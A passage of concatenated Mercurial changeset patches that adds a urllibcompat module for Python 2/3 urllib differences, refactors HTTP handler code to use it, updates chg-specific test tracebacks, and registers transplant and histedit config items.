+   */mercurial/dispatch.py:* in _callcatch (glob)
+   */mercurial/scmutil.py:* in callcatch (glob)
+   */mercurial/dispatch.py:* in _runcatchfunc (glob)
+   */mercurial/dispatch.py:* in _dispatch (glob)
+   */mercurial/dispatch.py:* in runcommand (glob)
+   */mercurial/dispatch.py:* in _runcommand (glob)
+   */mercurial/dispatch.py:* in <lambda> (glob)
+   */mercurial/util.py:* in check (glob)
+   $TESTTMP/buggylocking.py:* in buggylocking (glob)
+#endif
   $ hg properlocking
   $ hg nowaitlocking
 
@@ -135,6 +173,7 @@
   devel-warn: foorbar is deprecated, go shopping
   (compatibility will be dropped after Mercurial-42.1337, update your code.) at: $TESTTMP/buggylocking.py:* (oldanddeprecated) (glob)
 
+#if no-chg
   $ hg oldanddeprecated --traceback
   devel-warn: foorbar is deprecated, go shopping
   (compatibility will be dropped after Mercurial-42.1337, update your code.) at:
@@ -151,6 +190,46 @@
    */mercurial/dispatch.py:* in <lambda> (glob)
    */mercurial/util.py:* in check (glob)
    $TESTTMP/buggylocking.py:* in oldanddeprecated (glob)
+#else
+  $ hg oldanddeprecated --traceback
+  devel-warn: foorbar is deprecated, go shopping
+  (compatibility will be dropped after Mercurial-42.1337, update your code.) at:
+   */hg:* in <module> (glob)
+   */mercurial/dispatch.py:* in run (glob)
+   */mercurial/dispatch.py:* in dispatch (glob)
+   */mercurial/dispatch.py:* in _runcatch (glob)
+   */mercurial/dispatch.py:* in _callcatch (glob)
+   */mercurial/scmutil.py:* in callcatch (glob)
+   */mercurial/dispatch.py:* in _runcatchfunc (glob)
+   */mercurial/dispatch.py:* in _dispatch (glob)
+   */mercurial/dispatch.py:* in runcommand (glob)
+   */mercurial/dispatch.py:* in _runcommand (glob)
+   */mercurial/dispatch.py:* in <lambda> (glob)
+   */mercurial/util.py:* in check (glob)
+   */mercurial/commands.py:* in serve (glob)
+   */mercurial/server.py:* in runservice (glob)
+   */mercurial/commandserver.py:* in run (glob)
+   */mercurial/commandserver.py:* in _mainloop (glob)
+   */mercurial/commandserver.py:* in _runworker (glob)
+   */mercurial/commandserver.py:* in _serverequest (glob)
+   */mercurial/commandserver.py:* in serve (glob)
+   */mercurial/commandserver.py:* in serveone (glob)
+   */mercurial/chgserver.py:* in runcommand (glob)
+   */mercurial/commandserver.py:* in runcommand (glob)
+   */mercurial/dispatch.py:* in dispatch (glob)
+   */mercurial/dispatch.py:* in _runcatch (glob)
+   */mercurial/dispatch.py:* in _callcatch (glob)
+   */mercurial/scmutil.py:* in callcatch (glob)
+   */mercurial/dispatch.py:* in _runcatchfunc (glob)
+   */mercurial/dispatch.py:* in _dispatch (glob)
+   */mercurial/dispatch.py:* in runcommand (glob)
+   */mercurial/dispatch.py:* in _runcommand (glob)
+   */mercurial/dispatch.py:* in <lambda> (glob)
+   */mercurial/util.py:* in check (glob)
+   $TESTTMP/buggylocking.py:* in oldanddeprecated (glob)
+#endif
+
+#if no-chg
   $ hg blackbox -l 7
   1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> oldanddeprecated
   1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> devel-warn: foorbar is deprecated, go shopping
@@ -174,6 +253,51 @@
    $TESTTMP/buggylocking.py:* in oldanddeprecated (glob)
   1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> oldanddeprecated --traceback exited 0 after * seconds (glob)
   1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> blackbox -l 7
+#else
+  $ hg blackbox -l 7
+  1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> oldanddeprecated
+  1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> devel-warn: foorbar is deprecated, go shopping
+  (compatibility will be dropped after Mercurial-42.1337, update your code.) at: $TESTTMP/buggylocking.py:* (oldanddeprecated) (glob)
+  1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> oldanddeprecated exited 0 after * seconds (glob)
+  1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> oldanddeprecated --traceback
+  1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> devel-warn: foorbar is deprecated, go shopping
+  (compatibility will be dropped after Mercurial-42.1337, update your code.) at:
+   */hg:* in <module> (glob)
+   */mercurial/dispatch.py:* in run (glob)
+   */mercurial/dispatch.py:* in dispatch (glob)
+   */mercurial/dispatch.py:* in _runcatch (glob)
+   */mercurial/dispatch.py:* in _callcatch (glob)
+   */mercurial/scmutil.py:* in callcatch (glob)
+   */mercurial/dispatch.py:* in _runcatchfunc (glob)
+   */mercurial/dispatch.py:* in _dispatch (glob)
+   */mercurial/dispatch.py:* in runcommand (glob)
+   */mercurial/dispatch.py:* in _runcommand (glob)
+   */mercurial/dispatch.py:* in <lambda> (glob)
+   */mercurial/util.py:* in check (glob)
+   */mercurial/commands.py:* in serve (glob)
+   */mercurial/server.py:* in runservice (glob)
+   */mercurial/commandserver.py:* in run (glob)
+   */mercurial/commandserver.py:* in _mainloop (glob)
+   */mercurial/commandserver.py:* in _runworker (glob)
+   */mercurial/commandserver.py:* in _serverequest (glob)
+   */mercurial/commandserver.py:* in serve (glob)
+   */mercurial/commandserver.py:* in serveone (glob)
+   */mercurial/chgserver.py:* in runcommand (glob)
+   */mercurial/commandserver.py:* in runcommand (glob)
+   */mercurial/dispatch.py:* in dispatch (glob)
+   */mercurial/dispatch.py:* in _runcatch (glob)
+   */mercurial/dispatch.py:* in _callcatch (glob)
+   */mercurial/scmutil.py:* in callcatch (glob)
+   */mercurial/dispatch.py:* in _runcatchfunc (glob)
+   */mercurial/dispatch.py:* in _dispatch (glob)
+   */mercurial/dispatch.py:* in runcommand (glob)
+   */mercurial/dispatch.py:* in _runcommand (glob)
+   */mercurial/dispatch.py:* in <lambda> (glob)
+   */mercurial/util.py:* in check (glob)
+   $TESTTMP/buggylocking.py:* in oldanddeprecated (glob)
+  1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> oldanddeprecated --traceback exited 0 after * seconds (glob)
+  1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> blackbox -l 7
+#endif
 
 Test programming error failure:
 
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506869103 14400
#      Sun Oct 01 10:45:03 2017 -0400
# Node ID 80d4681150b93ced36592210f82bb9e210e4e060
# Parent  b0910102e495b3832a368eec5da24ff685d51371
urllibcompat: new library to help abstract out some python3 urllib2 stuff

Doing a new file instead of pycompat because I'm starting to feel like
pycompat is getting a little enormous in terms of scope.

Differential Revision: https://phab.mercurial-scm.org/D890

diff --git a/mercurial/urllibcompat.py b/mercurial/urllibcompat.py
new file mode 100644
--- /dev/null
+++ b/mercurial/urllibcompat.py
@@ -0,0 +1,42 @@
+# urllibcompat.py - adapters to ease using urllib2 on Py2 and urllib on Py3
+#
+# Copyright 2017 Google, Inc.
+#
+# This software may be used and distributed according to the terms of the
+# GNU General Public License version 2 or any later version.
+from __future__ import absolute_import
+
+from . import pycompat
+
+if pycompat.ispy3:
+
+    def getfullurl(req):
+        return req.full_url
+
+    def gethost(req):
+        return req.host
+
+    def getselector(req):
+        return req.selector
+
+    def getdata(req):
+        return req.data
+
+    def hasdata(req):
+        return req.data is not None
+else:
+
+    def gethost(req):
+        return req.get_host()
+
+    def getselector(req):
+        return req.get_selector()
+
+    def getfullurl(req):
+        return req.get_full_url()
+
+    def getdata(req):
+        return req.get_data()
+
+    def hasdata(req):
+        return req.has_data()
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506874461 14400
#      Sun Oct 01 12:14:21 2017 -0400
# Node ID 1232f7fa00c3d8ae8474cd0a3be4e38325eb6111
# Parent  80d4681150b93ced36592210f82bb9e210e4e060
cleanup: use urllibcompat for renamed methods on urllib request objects

Differential Revision: https://phab.mercurial-scm.org/D891

diff --git a/mercurial/byterange.py b/mercurial/byterange.py
--- a/mercurial/byterange.py
+++ b/mercurial/byterange.py
@@ -28,6 +28,7 @@
 import stat
 
 from . import (
+    urllibcompat,
     util,
 )
 
@@ -214,8 +215,8 @@
     server would.
     """
     def open_local_file(self, req):
-        host = req.get_host()
-        file = req.get_selector()
+        host = urllibcompat.gethost(req)
+        file = urllibcompat.getselector(req)
         localfile = urlreq.url2pathname(file)
         stats = os.stat(localfile)
         size = stats[stat.ST_SIZE]
@@ -252,7 +253,7 @@
 
 class FTPRangeHandler(urlreq.ftphandler):
     def ftp_open(self, req):
-        host = req.get_host()
+        host = urllibcompat.gethost(req)
         if not host:
             raise IOError('ftp error', 'no host given')
         host, port = splitport(host)
diff --git a/mercurial/httpconnection.py b/mercurial/httpconnection.py
--- a/mercurial/httpconnection.py
+++ b/mercurial/httpconnection.py
@@ -18,6 +18,7 @@
 from . import (
     httpclient,
     sslutil,
+    urllibcompat,
     util,
 )
 
@@ -174,13 +175,14 @@
         # object. On Python 2.6.5, it's stored in the _tunnel_host
         # attribute which has no accessor.
         tunhost = getattr(req, '_tunnel_host', None)
-        host = req.get_host()
+        host = urllibcompat.gethost(req)
         if tunhost:
             proxyhost = host
             host = tunhost
         elif req.has_proxy():
-            proxyhost = req.get_host()
-            host = req.get_selector().split('://', 1)[1].split('/', 1)[0]
+            proxyhost = urllibcompat.gethost(req)
+            host = urllibcompat.getselector(
+                req).split('://', 1)[1].split('/', 1)[0]
         else:
             proxyhost = None
 
@@ -219,7 +221,7 @@
         headers = dict(
             (name.title(), val) for name, val in headers.items())
         try:
-            path = req.get_selector()
+            path = urllibcompat.getselector(req)
             if '://' in path:
                 path = path.split('://', 1)[1].split('/', 1)[1]
             if path[0] != '/':
@@ -233,7 +235,7 @@
         # object initialized properly.
         r.recv = r.read
 
-        resp = urlreq.addinfourl(r, r.headers, req.get_full_url())
+        resp = urlreq.addinfourl(r, r.headers, urllibcompat.getfullurl(req))
         resp.code = r.status
         resp.msg = r.reason
         return resp
@@ -242,7 +244,7 @@
     # target, and then allows full URIs in the request path, which it
     # then observes and treats as a signal to do proxying instead.
     def http_open(self, req):
-        if req.get_full_url().startswith('https'):
+        if urllibcompat.getfullurl(req).startswith('https'):
             return self.https_open(req)
         def makehttpcon(*args, **kwargs):
             k2 = dict(kwargs)
@@ -251,9 +253,9 @@
         return self.do_open(makehttpcon, req, False)
 
     def https_open(self, req):
-        # req.get_full_url() does not contain credentials and we may
+        # urllibcompat.getfullurl(req) does not contain credentials and we may
         # need them to match the certificates.
-        url = req.get_full_url()
+        url = urllibcompat.getfullurl(req)
         user, password = self.pwmgr.find_stored_password(url)
         res = readauthforuri(self.ui, url, user)
         if res:
diff --git a/mercurial/keepalive.py b/mercurial/keepalive.py
--- a/mercurial/keepalive.py
+++ b/mercurial/keepalive.py
@@ -93,6 +93,7 @@
 from .i18n import _
 from . import (
     pycompat,
+    urllibcompat,
     util,
 )
 
@@ -206,7 +207,7 @@
         return self.do_open(HTTPConnection, req)
 
     def do_open(self, http_class, req):
-        host = req.get_host()
+        host = urllibcompat.gethost(req)
         if not host:
             raise urlerr.urlerror('no host given')
 
@@ -317,10 +318,11 @@
             if n in headers:
                 skipheaders['skip_' + n.replace('-', '_')] = 1
         try:
-            if req.has_data():
-                data = req.get_data()
+            if urllibcompat.hasdata(req):
+                data = urllibcompat.getdata(req)
                 h.putrequest(
-                    req.get_method(), req.get_selector(), **skipheaders)
+                    req.get_method(), urllibcompat.getselector(req),
+                    **skipheaders)
                 if 'content-type' not in headers:
                     h.putheader('Content-type',
                                 'application/x-www-form-urlencoded')
@@ -328,13 +330,14 @@
                     h.putheader('Content-length', '%d' % len(data))
             else:
                 h.putrequest(
-                    req.get_method(), req.get_selector(), **skipheaders)
+                    req.get_method(), urllibcompat.getselector(req),
+                    **skipheaders)
         except socket.error as err:
             raise urlerr.urlerror(err)
         for k, v in headers.items():
             h.putheader(k, v)
         h.endheaders()
-        if req.has_data():
+        if urllibcompat.hasdata(req):
             h.send(data)
 
 class HTTPHandler(KeepAliveHandler, urlreq.httphandler):
diff --git a/mercurial/url.py b/mercurial/url.py
--- a/mercurial/url.py
+++ b/mercurial/url.py
@@ -21,6 +21,7 @@
     keepalive,
     pycompat,
     sslutil,
+    urllibcompat,
     util,
 )
 
@@ -119,7 +120,7 @@
         self.ui = ui
 
     def proxy_open(self, req, proxy, type_):
-        host = req.get_host().split(':')[0]
+        host = urllibcompat.gethost(req).split(':')[0]
         for e in self.no_list:
             if host == e:
                 return None
@@ -166,10 +167,10 @@
             tunnel_host = 'https://' + tunnel_host
         new_tunnel = True
     else:
-        tunnel_host = req.get_selector()
+        tunnel_host = urllibcompat.getselector(req)
         new_tunnel = False
 
-    if new_tunnel or tunnel_host == req.get_full_url(): # has proxy
+    if new_tunnel or tunnel_host == urllibcompat.getfullurl(req): # has proxy
         u = util.url(tunnel_host)
         if new_tunnel or u.scheme == 'https': # only use CONNECT for HTTPS
             h.realhostport = ':'.join([u.host, (u.port or '443')])
@@ -320,9 +321,9 @@
             return keepalive.KeepAliveHandler._start_transaction(self, h, req)
 
         def https_open(self, req):
-            # req.get_full_url() does not contain credentials and we may
-            # need them to match the certificates.
-            url = req.get_full_url()
+            # urllibcompat.getfullurl() does not contain credentials
+            # and we may need them to match the certificates.
+            url = urllibcompat.getfullurl(req)
             user, password = self.pwmgr.find_stored_password(url)
             res = httpconnectionmod.readauthforuri(self.ui, url, user)
             if res:
@@ -406,7 +407,8 @@
                         self, auth_header, host, req, headers)
 
     def retry_http_basic_auth(self, host, req, realm):
-        user, pw = self.passwd.find_user_password(realm, req.get_full_url())
+        user, pw = self.passwd.find_user_password(
+            realm, urllibcompat.getfullurl(req))
         if pw is not None:
             raw = "%s:%s" % (user, pw)
             auth = 'Basic %s' % base64.b64encode(raw).strip()
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507132680 14400
#      Wed Oct 04 11:58:00 2017 -0400
# Node ID 192f7b126ed206e0ce4f7560a73c68736f16d315
# Parent  1232f7fa00c3d8ae8474cd0a3be4e38325eb6111
urllibcompat: move some adapters from pycompat to urllibcompat

These are all the httpserver and urllib.* aliases. They seem to make
more sense in the slightly-more-specific urllibcompat package than the
general-purpose pycompat.

Differential Revision: https://phab.mercurial-scm.org/D935

diff --git a/mercurial/pycompat.py b/mercurial/pycompat.py
--- a/mercurial/pycompat.py
+++ b/mercurial/pycompat.py
@@ -314,150 +314,3 @@
     stringio = cStringIO.StringIO
     maplist = map
     rawinput = raw_input
-
-class _pycompatstub(object):
-    def __init__(self):
-        self._aliases = {}
-
-    def _registeraliases(self, origin, items):
-        """Add items that will be populated at the first access"""
-        items = map(sysstr, items)
-        self._aliases.update(
-            (item.replace(sysstr('_'), sysstr('')).lower(), (origin, item))
-            for item in items)
-
-    def _registeralias(self, origin, attr, name):
-        """Alias ``origin``.``attr`` as ``name``"""
-        self._aliases[sysstr(name)] = (origin, sysstr(attr))
-
-    def __getattr__(self, name):
-        try:
-            origin, item = self._aliases[name]
-        except KeyError:
-            raise AttributeError(name)
-        self.__dict__[name] = obj = getattr(origin, item)
-        return obj
-
-httpserver = _pycompatstub()
-urlreq = _pycompatstub()
-urlerr = _pycompatstub()
-if not ispy3:
-    import BaseHTTPServer
-    import CGIHTTPServer
-    import SimpleHTTPServer
-    import urllib2
-    import urllib
-    import urlparse
-    urlreq._registeraliases(urllib, (
-        "addclosehook",
-        "addinfourl",
-        "ftpwrapper",
-        "pathname2url",
-        "quote",
-        "splitattr",
-        "splitpasswd",
-        "splitport",
-        "splituser",
-        "unquote",
-        "url2pathname",
-        "urlencode",
-    ))
-    urlreq._registeraliases(urllib2, (
-        "AbstractHTTPHandler",
-        "BaseHandler",
-        "build_opener",
-        "FileHandler",
-        "FTPHandler",
-        "HTTPBasicAuthHandler",
-        "HTTPDigestAuthHandler",
-        "HTTPHandler",
-        "HTTPPasswordMgrWithDefaultRealm",
-        "HTTPSHandler",
-        "install_opener",
-        "ProxyHandler",
-        "Request",
-        "urlopen",
-    ))
-    urlreq._registeraliases(urlparse, (
-        "urlparse",
-        "urlunparse",
-    ))
-    urlerr._registeraliases(urllib2, (
-        "HTTPError",
-        "URLError",
-    ))
-    httpserver._registeraliases(BaseHTTPServer, (
-        "HTTPServer",
-        "BaseHTTPRequestHandler",
-    ))
-    httpserver._registeraliases(SimpleHTTPServer, (
-        "SimpleHTTPRequestHandler",
-    ))
-    httpserver._registeraliases(CGIHTTPServer, (
-        "CGIHTTPRequestHandler",
-    ))
-
-else:
-    import urllib.parse
-    urlreq._registeraliases(urllib.parse, (
-        "splitattr",
-        "splitpasswd",
-        "splitport",
-        "splituser",
-        "urlparse",
-        "urlunparse",
-    ))
-    urlreq._registeralias(urllib.parse, "unquote_to_bytes", "unquote")
-    import urllib.request
-    urlreq._registeraliases(urllib.request, (
-        "AbstractHTTPHandler",
-        "BaseHandler",
-        "build_opener",
-        "FileHandler",
-        "FTPHandler",
-        "ftpwrapper",
-        "HTTPHandler",
-        "HTTPSHandler",
-        "install_opener",
-        "pathname2url",
-        "HTTPBasicAuthHandler",
-        "HTTPDigestAuthHandler",
-        "HTTPPasswordMgrWithDefaultRealm",
-        "ProxyHandler",
-        "Request",
-        "url2pathname",
-        "urlopen",
-    ))
-    import urllib.response
-    urlreq._registeraliases(urllib.response, (
-        "addclosehook",
-        "addinfourl",
-    ))
-    import urllib.error
-    urlerr._registeraliases(urllib.error, (
-        "HTTPError",
-        "URLError",
-    ))
-    import http.server
-    httpserver._registeraliases(http.server, (
-        "HTTPServer",
-        "BaseHTTPRequestHandler",
-        "SimpleHTTPRequestHandler",
-        "CGIHTTPRequestHandler",
-    ))
-
-    # urllib.parse.quote() accepts both str and bytes, decodes bytes
-    # (if necessary), and returns str. This is wonky. We provide a custom
-    # implementation that only accepts bytes and emits bytes.
-    def quote(s, safe=r'/'):
-        s = urllib.parse.quote_from_bytes(s, safe=safe)
-        return s.encode('ascii', 'strict')
-
-    # urllib.parse.urlencode() returns str. We use this function to make
-    # sure we return bytes.
-    def urlencode(query, doseq=False):
-            s = urllib.parse.urlencode(query, doseq=doseq)
-            return s.encode('ascii')
-
-    urlreq.quote = quote
-    urlreq.urlencode = urlencode
diff --git a/mercurial/urllibcompat.py b/mercurial/urllibcompat.py
--- a/mercurial/urllibcompat.py
+++ b/mercurial/urllibcompat.py
@@ -8,7 +8,99 @@
 
 from . import pycompat
 
+_sysstr = pycompat.sysstr
+
+class _pycompatstub(object):
+    def __init__(self):
+        self._aliases = {}
+
+    def _registeraliases(self, origin, items):
+        """Add items that will be populated at the first access"""
+        items = map(_sysstr, items)
+        self._aliases.update(
+            (item.replace(_sysstr('_'), _sysstr('')).lower(), (origin, item))
+            for item in items)
+
+    def _registeralias(self, origin, attr, name):
+        """Alias ``origin``.``attr`` as ``name``"""
+        self._aliases[_sysstr(name)] = (origin, _sysstr(attr))
+
+    def __getattr__(self, name):
+        try:
+            origin, item = self._aliases[name]
+        except KeyError:
+            raise AttributeError(name)
+        self.__dict__[name] = obj = getattr(origin, item)
+        return obj
+
+httpserver = _pycompatstub()
+urlreq = _pycompatstub()
+urlerr = _pycompatstub()
+
 if pycompat.ispy3:
+    import urllib.parse
+    urlreq._registeraliases(urllib.parse, (
+        "splitattr",
+        "splitpasswd",
+        "splitport",
+        "splituser",
+        "urlparse",
+        "urlunparse",
+    ))
+    urlreq._registeralias(urllib.parse, "unquote_to_bytes", "unquote")
+    import urllib.request
+    urlreq._registeraliases(urllib.request, (
+        "AbstractHTTPHandler",
+        "BaseHandler",
+        "build_opener",
+        "FileHandler",
+        "FTPHandler",
+        "ftpwrapper",
+        "HTTPHandler",
+        "HTTPSHandler",
+        "install_opener",
+        "pathname2url",
+        "HTTPBasicAuthHandler",
+        "HTTPDigestAuthHandler",
+        "HTTPPasswordMgrWithDefaultRealm",
+        "ProxyHandler",
+        "Request",
+        "url2pathname",
+        "urlopen",
+    ))
+    import urllib.response
+    urlreq._registeraliases(urllib.response, (
+        "addclosehook",
+        "addinfourl",
+    ))
+    import urllib.error
+    urlerr._registeraliases(urllib.error, (
+        "HTTPError",
+        "URLError",
+    ))
+    import http.server
+    httpserver._registeraliases(http.server, (
+        "HTTPServer",
+        "BaseHTTPRequestHandler",
+        "SimpleHTTPRequestHandler",
+        "CGIHTTPRequestHandler",
+    ))
+
+    # urllib.parse.quote() accepts both str and bytes, decodes bytes
+    # (if necessary), and returns str. This is wonky. We provide a custom
+    # implementation that only accepts bytes and emits bytes.
+    def quote(s, safe=r'/'):
+        s = urllib.parse.quote_from_bytes(s, safe=safe)
+        return s.encode('ascii', 'strict')
+
+    # urllib.parse.urlencode() returns str. We use this function to make
+    # sure we return bytes.
+    def urlencode(query, doseq=False):
+            s = urllib.parse.urlencode(query, doseq=doseq)
+            return s.encode('ascii')
+
+    urlreq.quote = quote
+    urlreq.urlencode = urlencode
 
     def getfullurl(req):
         return req.full_url
@@ -25,6 +117,60 @@
     def hasdata(req):
         return req.data is not None
 else:
+    import BaseHTTPServer
+    import CGIHTTPServer
+    import SimpleHTTPServer
+    import urllib2
+    import urllib
+    import urlparse
+    urlreq._registeraliases(urllib, (
+        "addclosehook",
+        "addinfourl",
+        "ftpwrapper",
+        "pathname2url",
+        "quote",
+        "splitattr",
+        "splitpasswd",
+        "splitport",
+        "splituser",
+        "unquote",
+        "url2pathname",
+        "urlencode",
+    ))
+    urlreq._registeraliases(urllib2, (
+        "AbstractHTTPHandler",
+        "BaseHandler",
+        "build_opener",
+        "FileHandler",
+        "FTPHandler",
+        "HTTPBasicAuthHandler",
+        "HTTPDigestAuthHandler",
+        "HTTPHandler",
+        "HTTPPasswordMgrWithDefaultRealm",
+        "HTTPSHandler",
+        "install_opener",
+        "ProxyHandler",
+        "Request",
+        "urlopen",
+    ))
+    urlreq._registeraliases(urlparse, (
+        "urlparse",
+        "urlunparse",
+    ))
+    urlerr._registeraliases(urllib2, (
+        "HTTPError",
+        "URLError",
+    ))
+    httpserver._registeraliases(BaseHTTPServer, (
+        "HTTPServer",
+        "BaseHTTPRequestHandler",
+    ))
+    httpserver._registeraliases(SimpleHTTPServer, (
+        "SimpleHTTPRequestHandler",
+    ))
+    httpserver._registeraliases(CGIHTTPServer, (
+        "CGIHTTPRequestHandler",
+    ))
 
     def gethost(req):
         return req.get_host()
diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -50,6 +50,7 @@
     i18n,
     policy,
     pycompat,
+    urllibcompat,
 )
 
 base85 = policy.importmod(r'base85')
@@ -62,7 +63,6 @@
 cookielib = pycompat.cookielib
 empty = pycompat.empty
 httplib = pycompat.httplib
-httpserver = pycompat.httpserver
 pickle = pycompat.pickle
 queue = pycompat.queue
 socketserver = pycompat.socketserver
@@ -70,10 +70,12 @@
 stdin = pycompat.stdin
 stdout = pycompat.stdout
 stringio = pycompat.stringio
-urlerr = pycompat.urlerr
-urlreq = pycompat.urlreq
 xmlrpclib = pycompat.xmlrpclib
 
+httpserver = urllibcompat.httpserver
+urlerr = urllibcompat.urlerr
+urlreq = urllibcompat.urlreq
+
 # workaround for win32mbcs
 _filenamebytestr = pycompat.bytestr
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787069 -7200
#      Fri Jun 30 03:44:29 2017 +0200
# Node ID 7bcce17b87e8da0d5fd6bff135270ef312b65371
# Parent  192f7b126ed206e0ce4f7560a73c68736f16d315
configitems: register the 'transplant.filter' config

diff --git a/hgext/transplant.py b/hgext/transplant.py
--- a/hgext/transplant.py
+++ b/hgext/transplant.py
@@ -49,6 +49,13 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('transplant', 'filter',
+    default=None,
+)
+
 class transplantentry(object):
     def __init__(self, lnode, rnode):
         self.lnode = lnode
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787070 -7200
#      Fri Jun 30 03:44:30 2017 +0200
# Node ID 61275d0f6157707063556fe2085bc81f435e3703
# Parent  7bcce17b87e8da0d5fd6bff135270ef312b65371
configitems: register the 'transplant.log' config

diff --git a/hgext/transplant.py b/hgext/transplant.py
--- a/hgext/transplant.py
+++ b/hgext/transplant.py
@@ -55,6 +55,9 @@
 configitem('transplant', 'filter',
     default=None,
 )
+configitem('transplant', 'log',
+    default=None,
+)
 
 class transplantentry(object):
     def __init__(self, lnode, rnode):
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786957 -7200
#      Fri Jun 30 03:42:37 2017 +0200
# Node ID 6567002ae87ed8e71143062b4ef76c659ecb172f
# Parent  61275d0f6157707063556fe2085bc81f435e3703
configitems: register the 'histedit.defaultrev' config

diff --git a/hgext/histedit.py b/hgext/histedit.py
--- a/hgext/histedit.py
+++ b/hgext/histedit.py
@@ -188,6 +188,7 @@
 from mercurial import (
     bundle2,
     cmdutil,
+    configitems,
     context,
     copies,
     destutil,
@@ -212,6 +213,12 @@
 cmdtable = {}
 command = registrar.command(cmdtable)
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+configitem('histedit', 'defaultrev',
+    default=configitems.dynamicdefault,
+)
+
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
 # be specifying the version(s) of Mercurial they are tested with, or
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786958 -7200
#      Fri Jun 30 03:42:38 2017 +0200
# Node ID 1e37cb4da6f8d68ffa2ca287e9357fe20bc46b21
# Parent  6567002ae87ed8e71143062b4ef76c659ecb172f
configitems: register the 'histedit.dropmissing' config

diff --git a/hgext/histedit.py b/hgext/histedit.py
--- a/hgext/histedit.py
+++ b/hgext/histedit.py
@@ -218,6 +218,9 @@
 configitem('histedit', 'defaultrev',
     default=configitems.dynamicdefault,
 )
+configitem('histedit', 'dropmissing',
+    default=False,
+)
 
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786959 -7200
#      Fri Jun 30 03:42:39 2017 +0200
# Node ID 12c0683772730b95e9dd7c8040716f1feec12d89
# Parent  1e37cb4da6f8d68ffa2ca287e9357fe20bc46b21
configitems: register the 'histedit.linelen' config

diff --git a/hgext/histedit.py b/hgext/histedit.py
--- a/hgext/histedit.py
+++ b/hgext/histedit.py
@@ -221,6 +221,9 @@
 configitem('histedit', 'dropmissing',
     default=False,
 )
+configitem('histedit', 'linelen',
+    default=80,
+)
 
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
@@ -452,7 +455,7 @@
         line = '%s %s %d %s' % (self.verb, ctx, ctx.rev(), summary)
         # trim to 75 columns by default so it's not stupidly wide in my editor
         # (the 5 more are left for verb)
-        maxlen = self.repo.ui.configint('histedit', 'linelen', default=80)
+        maxlen = self.repo.ui.configint('histedit', 'linelen')
         maxlen = max(maxlen, 22) # avoid truncating hash
         return util.ellipsis(line, maxlen)
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786960 -7200
#      Fri Jun 30 03:42:40 2017 +0200
# Node ID a746472c3d09ec361edfccc44f0bdcfda7dc73d8
# Parent  12c0683772730b95e9dd7c8040716f1feec12d89
configitems: register the 'histedit.singletransaction' config

diff --git a/hgext/histedit.py b/hgext/histedit.py
--- a/hgext/histedit.py
+++ b/hgext/histedit.py
@@ -224,6 +224,9 @@
 configitem('histedit', 'linelen',
     default=80,
 )
+configitem('histedit', 'singletransaction',
+    default=False,
+)
 
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
@@ -1130,7 +1133,7 @@
     # Don't use singletransaction by default since it rolls the entire
     # transaction back if an unexpected exception happens (like a
     # pretxncommit hook throws, or the user aborts the commit msg editor).
-    if ui.configbool("histedit", "singletransaction", False):
+    if ui.configbool("histedit", "singletransaction"):
         # Don't use a 'with' for the transaction, since actions may close
         # and reopen a transaction. For example, if the action executes an
         # external process it may choose to commit the transaction first.
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786879 -7200
#      Fri Jun 30 03:41:19 2017 +0200
# Node ID b068a87e951dd84dd4b9c31b8b30751777692f48
# Parent  a746472c3d09ec361edfccc44f0bdcfda7dc73d8
configitems: register the 'experimental.histedit.autoverb' config

diff --git a/hgext/histedit.py b/hgext/histedit.py
--- a/hgext/histedit.py
+++ b/hgext/histedit.py
@@ -215,6 +215,9 @@
 
 configtable = {}
 configitem = registrar.configitem(configtable)
+configitem('experimental', 'histedit.autoverb',
+    default=False,
+)
 configitem('histedit', 'defaultrev',
     default=configitems.dynamicdefault,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786883 -7200
#      Fri Jun 30 03:41:23 2017 +0200
# Node ID 272b83a6b59142612ac8dd044eaa691355467100
# Parent  b068a87e951dd84dd4b9c31b8b30751777692f48
configitems: register the 'experimental.histeditng' config

diff --git a/hgext/histedit.py b/hgext/histedit.py
--- a/hgext/histedit.py
+++ b/hgext/histedit.py
@@ -218,6 +218,9 @@
 configitem('experimental', 'histedit.autoverb',
     default=False,
 )
